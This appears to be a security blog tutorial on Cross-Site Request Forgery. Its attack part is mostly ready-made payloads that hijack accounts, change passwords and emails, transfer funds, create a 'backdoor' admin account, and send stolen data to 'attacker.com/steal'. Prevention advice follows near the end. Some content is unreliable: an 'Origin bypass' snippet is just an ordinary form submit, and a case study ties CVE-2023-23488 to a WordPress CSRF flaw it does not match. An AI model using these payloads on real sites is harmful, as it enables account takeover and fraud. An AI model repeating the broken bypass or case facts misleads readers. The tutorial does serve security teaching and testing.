Post

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF)

Introduction

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions they did not intend to perform. It exploits the trust a web application has in a user’s browser, forcing an authenticated user to send a state-changing request to a web application without their knowledge or consent.

How CSRF Works

  1. User Authentication: Victim logs into a vulnerable website (e.g., bank.com)
  2. Session Creation: The website sets authentication cookies in the victim’s browser
  3. Malicious Trap: Victim visits an attacker-controlled site or opens a malicious email
  4. Forced Request: The attacker’s page makes the victim’s browser send a request to the vulnerable website
  5. Request Processing: The website processes the request with the victim’s authentication cookies
  6. Unauthorized Action: The action is executed on behalf of the victim without their consent

Basic CSRF Exploitation Examples

GET-based CSRF Attack

1
2
3
4
5
6
7
<!-- Example: Transfer money via GET request -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Auto-submitting via JavaScript -->
<script>
    window.location = "https://bank.com/transfer?to=attacker&amount=1000";
</script>

POST-based CSRF Attack

1
2
3
4
5
6
<!-- Example: Auto-submitting form to change email -->
<body onload="document.csrf_form.submit()">
<form action="https://target.com/change_email" method="POST" name="csrf_form">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
</body>

JSON-based CSRF Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
    fetch('https://api.target.com/update_profile', {
        method: 'POST',
        credentials: 'include',  // Include cookies
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            "name": "Hacked User",
            "email": "attacker@evil.com"
        })
    });
</script>

Advanced CSRF Techniques

CSRF via XMLHttpRequest

1
2
3
4
5
6
7
<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://target.com/api/account/password", true);
    xhr.withCredentials = true;  // Include cookies
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("new_password=hacked&confirm_password=hacked");
</script>

Multi-Step CSRF Attacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
    // Step 1: Get CSRF token
    fetch('https://target.com/profile', {
        credentials: 'include'
    })
    .then(response => response.text())
    .then(html => {
        // Extract token
        const tokenMatch = html.match(/csrf_token" value="([^"]+)"/);
        const token = tokenMatch[1];
        
        // Step 2: Use token in attack
        const form = document.createElement('form');
        form.action = 'https://target.com/change_email';
        form.method = 'POST';
        
        const tokenField = document.createElement('input');
        tokenField.type = 'hidden';
        tokenField.name = 'csrf_token';
        tokenField.value = token;
        
        const emailField = document.createElement('input');
        emailField.type = 'hidden';
        emailField.name = 'email';
        emailField.value = 'attacker@evil.com';
        
        form.appendChild(tokenField);
        form.appendChild(emailField);
        document.body.appendChild(form);
        form.submit();
    });
</script>

CSRF using iframes

1
2
3
4
5
6
7
8
9
<!-- Hidden iframe to maintain/establish victim's session -->
<iframe style="display:none" name="csrf-frame"></iframe>

<!-- Form targeting the hidden iframe -->
<form action="https://target.com/change_settings" method="POST" target="csrf-frame" id="csrf-form">
    <input type="hidden" name="setting1" value="malicious_value">
</form>

<script>document.getElementById("csrf-form").submit();</script>

CSRF Bypass Techniques

Bypass Same-Origin Policy Check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- If the target checks the origin header -->
<script>
    // Creating a form without the Origin header
    var form = document.createElement('form');
    form.action = 'https://target.com/api/action';
    form.method = 'POST';
    
    var input = document.createElement('input');
    input.type = 'hidden';
    input.name = 'parameter';
    input.value = 'malicious_value';
    
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
</script>

Bypass Referer Check

1
2
3
4
5
6
7
8
<!-- Some browsers don't send Referer headers when loading images or switching protocols -->
<meta name="referrer" content="no-referrer">
<script>
    // Code to submit form
</script>

<!-- Or using rel="noreferrer" -->
<a href="https://target.com/action?param=malicious" rel="noreferrer" target="_blank">Click me</a>

Bypass CSRF Token Verification

1. Missing Token Validation

1
2
3
4
5
<!-- If the application accepts requests without a token -->
<form action="https://target.com/change_settings" method="POST">
    <!-- Deliberately omitting the token -->
    <input type="hidden" name="setting" value="malicious_value">
</form>

2. Token Reuse

1
2
3
4
5
<!-- Using a previously obtained valid token -->
<form action="https://target.com/change_settings" method="POST">
    <input type="hidden" name="csrf_token" value="known_valid_token">
    <input type="hidden" name="setting" value="malicious_value">
</form>

3. Token Leakage

1
2
3
4
5
6
7
8
9
// If CSRF tokens are leaked in JavaScript variables or HTML
fetch('https://target.com/page_with_token')
    .then(response => response.text())
    .then(html => {
        const tokenMatch = html.match(/var csrfToken = "([^"]+)"/);
        const token = tokenMatch[1];
        
        // Use the extracted token
    });

Exploiting CORS Misconfigurations

1
2
3
4
5
6
7
8
9
10
<script>
    fetch('https://target.com/api_with_cors', {
        credentials: 'include'  // Send cookies
    })
    .then(response => response.json())
    .then(data => {
        // Extract sensitive information
        fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
    });
</script>

CSRF Against Different Request Content Types

URL-encoded Form Data

1
2
3
4
5
<form action="https://target.com/api" method="POST" enctype="application/x-www-form-urlencoded">
    <input type="hidden" name="param1" value="value1">
    <input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>

Multipart Form Data

1
2
3
4
5
6
7
8
9
10
11
<script>
    var formData = new FormData();
    formData.append('param1', 'value1');
    formData.append('param2', 'value2');
    
    fetch('https://target.com/api', {
        method: 'POST',
        credentials: 'include',
        body: formData
    });
</script>

JSON Content

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
    fetch('https://target.com/api', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            param1: 'value1',
            param2: 'value2'
        })
    });
</script>

XML Content

1
2
3
4
5
6
7
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://target.com/api', true);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', 'application/xml');
    xhr.send('<request><param1>value1</param1><param2>value2</param2></request>');
</script>

CSRF Delivery Methods

Via Email

1
2
<!-- HTML email with hidden image -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="1" height="1">

Via Websites

1
2
<!-- Malicious website with embedded attack -->
<iframe style="display:none" src="csrf-attack.html"></iframe>
1
2
Original: https://attacker.com/csrf.html
Shortened: https://bit.ly/3xYz123

Via XSS

1
2
3
4
5
6
7
8
// If an XSS vulnerability exists on the target site
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/change_email', true);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('email=attacker@evil.com');
</script>

Specific Attack Scenarios

Password Change

1
2
3
4
5
<form action="https://target.com/change_password" method="POST" id="csrf-form">
    <input type="hidden" name="new_password" value="hacked123">
    <input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>document.getElementById("csrf-form").submit();</script>

Account Takeover via Email Change

1
2
3
4
<form action="https://target.com/change_email" method="POST" id="csrf-form">
    <input type="hidden" name="new_email" value="attacker@evil.com">
</form>
<script>document.getElementById("csrf-form").submit();</script>

Fund Transfer

1
2
3
4
5
6
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="recipient" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="memo" value="Gift">
</form>
<script>document.getElementById("csrf-form").submit();</script>

Account Creation

1
2
3
4
5
6
<form action="https://target.com/create_admin" method="POST" id="csrf-form">
    <input type="hidden" name="username" value="backdoor">
    <input type="hidden" name="password" value="attackerpass123">
    <input type="hidden" name="role" value="administrator">
</form>
<script>document.getElementById("csrf-form").submit();</script>

CSRF Protection Mechanisms & Their Bypasses

CSRF Tokens

Protection:

1
2
3
4
5
6
<form action="/transfer" method="post">
    <input type="hidden" name="csrf_token" value="random_token_tied_to_user_session">
    <input type="text" name="amount">
    <input type="text" name="recipient">
    <input type="submit" value="Transfer">
</form>

Bypasses:

  1. Missing token validation for specific endpoints
  2. Predictable tokens
  3. Using tokens from another user session
  4. Token leakage in URL/JavaScript

SameSite Cookies

Protection:

1
Set-Cookie: session=123; SameSite=Strict; Secure; HttpOnly

Bypasses:

  1. Browser inconsistencies in implementation
  2. Older browsers that don’t support SameSite
  3. Using target site’s subdomain (in some configurations)
  4. When SameSite=Lax is used:
    • Top-level GET requests are still allowed
    • Timing attacks via navigation

Custom Headers

Protection:

1
2
3
4
// Server checks for custom header
if (request.headers['X-Requested-With'] !== 'XMLHttpRequest') {
    // Reject request
}

Bypasses:

  1. Flash-based cross-domain requests
  2. In certain CORS configurations

Referer Verification

Protection:

1
2
3
4
5
// Server-side check
if (!isset($_SERVER['HTTP_REFERER']) || 
    parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== 'legitsite.com') {
    // Reject request
}

Bypasses:

  1. Browsers that don’t send Referer headers
  2. Controlling Referer with meta tags
  3. Using HTTPS to HTTP transitions (some browsers strip Referer)

CSRF Testing Methodology

  1. Identify sensitive functions
    • State-changing operations
    • User management functions
    • Financial transactions
  2. Examine request structure
    • HTTP method (GET, POST)
    • Parameters
    • Content types
    • Authentication mechanisms
  3. Check for CSRF protections
    • CSRF tokens
    • SameSite cookie attributes
    • Referer/Origin verification
    • Custom headers
  4. Create proof-of-concept
    • Craft a CSRF HTML page
    • Test in different browsers
    • Look for ways to bypass protections
  5. Impact assessment
    • Document potential impact
    • Demonstrate real-world scenarios

CSRF Detection & Testing Tools

Burp Suite Extensions

  • CSRF Scanner
  • CSRF Token Tracker

Browser Extensions

  • Tamper Data for FF Quantum
  • EditThisCookie

Standalone Tools

  • OWASP ZAP (Zed Attack Proxy)
  • XSRFProbe

Manual Testing Scripts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!-- Test for CSRF vulnerability -->
<!DOCTYPE html>
<html>
<body>
    <h1>CSRF PoC</h1>
    <script>
        function createForm(url, method, params) {
            var form = document.createElement('form');
            form.action = url;
            form.method = method;
            form.style.display = 'none';
            
            for (var key in params) {
                if (params.hasOwnProperty(key)) {
                    var input = document.createElement('input');
                    input.type = 'hidden';
                    input.name = key;
                    input.value = params[key];
                    form.appendChild(input);
                }
            }
            
            document.body.appendChild(form);
            form.submit();
        }
        
        // Example usage
        createForm(
            'https://target.com/change_settings',
            'POST',
            {
                'setting_name': 'email',
                'setting_value': 'attacker@evil.com'
            }
        );
    </script>
</body>
</html>

CSRF Prevention Best Practices

For Developers

  1. Implement CSRF Tokens
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    // PHP example
    session_start();
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
       
    // In form
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
       
    // Validating
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('CSRF token validation failed');
    }
    
  2. SameSite Cookies
    1
    
    Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
    
  3. Double-Submit Cookie Pattern
    1
    2
    3
    4
    5
    6
    7
    
    // Set a random token in both a cookie and as a request parameter
    document.cookie = "csrfCookie=abc123";
       
    // In form
    <input type="hidden" name="csrf_token" value="abc123">
       
    // Server validates that the cookie and the request parameter match
    
  4. Use POST for State-Changing Operations
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    <!-- Instead of GET requests for operations like: -->
    <a href="/delete?id=123">Delete</a>
       
    <!-- Use POST forms -->
    <form method="POST" action="/delete">
        <input type="hidden" name="id" value="123">
        <input type="hidden" name="csrf_token" value="...">
        <button type="submit">Delete</button>
    </form>
    
  5. Custom Request Headers
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    // Using fetch API
    fetch('/api/action', {
        method: 'POST',
        headers: {
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    });
    
  6. Re-authentication for Critical Actions
    1
    2
    3
    4
    5
    6
    7
    
    <!-- For critical actions, require the user to enter their password again -->
    <form method="POST" action="/delete_account">
        <input type="hidden" name="csrf_token" value="...">
        <label>Confirm Password:</label>
        <input type="password" name="password">
        <button type="submit">Delete Account</button>
    </form>
    

For Users/Organizations

  1. Log out of websites when not using them
  2. Use different browsers for different security contexts
  3. Clear cookies regularly
  4. Be cautious about clicking links from untrusted sources
  5. Keep browsers updated to benefit from latest security features

Real-World CSRF Case Studies

WordPress CSRF (CVE-2023-23488)

Affected versions of WordPress allowed CSRF in plugin installation that could lead to complete site compromise.

Facebook Account Takeover (2021)

A CSRF vulnerability allowed attackers to force users to like pages and follow accounts without their consent.

Tesla CSRF Vulnerability (2017)

Researchers discovered a CSRF vulnerability that could remotely control Tesla vehicles.

Yahoo Mail CSRF (2013)

A vulnerability allowed attackers to change victims’ email forwarding settings, enabling email hijacking.

References

  1. OWASP CSRF Prevention Cheat Sheet
  2. PortSwigger Web Security Academy: CSRF
  3. HackTricks: CSRF
  4. SANS: Cross-Site Request Forgery
  5. Mozilla Web Security Guidelines
This post is licensed under CC BY 4.0 by the author.